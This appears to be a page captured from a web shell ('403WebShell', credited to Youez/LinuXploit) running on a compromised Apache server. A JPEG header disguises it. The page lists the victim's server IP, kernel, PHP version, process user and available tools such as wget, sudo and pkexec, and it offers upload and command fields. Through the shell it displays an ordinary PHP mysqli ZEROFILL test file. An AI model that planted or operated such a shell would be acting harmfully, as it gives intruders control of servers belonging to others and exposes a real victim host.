????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.133.83.94
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/mysqli/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/mysqli/tests/mysqli_fetch_assoc_zerofill.phpt
--TEST--
mysqli_fetch_assoc() - ZEROFILL
--SKIPIF--
<?php
require_once('skipif.inc');
require_once('skipifemb.inc');
require_once('skipifconnectfailure.inc');
?>
--FILE--
<?php
	require_once('connect.inc');
	require_once('table.inc');

	function zerofill($offset, $link, $datatype, $insert = 1) {

		mysqli_query($link, 'ALTER TABLE test DROP zero');
		$sql = sprintf('ALTER TABLE test ADD zero %s UNSIGNED ZEROFILL', $datatype);
		if (!mysqli_query($link, $sql)) {
			// no worries - server might not support it
			return true;
		}

		if (!mysqli_query($link, sprintf('UPDATE test SET zero = %s', $insert))) {
			printf("[%03d] UPDATE failed, [%d] %s\n",
				$offset, mysqli_errno($link), mysqli_error($link));
			return false;
		}

		if (!($res = mysqli_query($link, 'SELECT zero FROM test LIMIT 1'))) {
			printf("[%03d] SELECT failed, [%d] %s\n",
				$offset, mysqli_errno($link), mysqli_error($link));
			return false;
		}

		$row = mysqli_fetch_assoc($res);
		$meta = mysqli_fetch_fields($res);
		mysqli_free_result($res);
		$meta = $meta[0];
		$length = $meta->length;
		if ($length > strlen($insert)) {

			$expected = str_repeat('0', $length - strlen($insert));
			$expected .= $insert;
			if ($expected !== $row['zero']) {
				printf("[%03d] Expecting '%s' got '%s'\n", $offset, $expected, $row['zero']);
				return false;
			}

		} else if ($length <= 1) {
			printf("[%03d] Length reported is too small to run test\n", $offset);
			return false;
		}

		return true;
	}

	zerofill(2, $link, 'TINYINT');
	zerofill(3, $link, 'SMALLINT');
	zerofill(4, $link, 'MEDIUMINT');
	zerofill(5, $link, 'INT');
	zerofill(6, $link, 'INTEGER');
	zerofill(7, $link, 'BIGINT');
	zerofill(8, $link, 'FLOAT');
	zerofill(9, $link, 'DOUBLE');
	zerofill(10, $link, 'DOUBLE PRECISION');
	zerofill(11, $link, 'DECIMAL');
	zerofill(12, $link, 'DEC');

	mysqli_close($link);

	print "done!";
?>
--CLEAN--
<?php
	require_once("clean_table.inc");
?>
--EXPECTF--
done!

Youez - 2016 - github.com/yon3zu
LinuXploit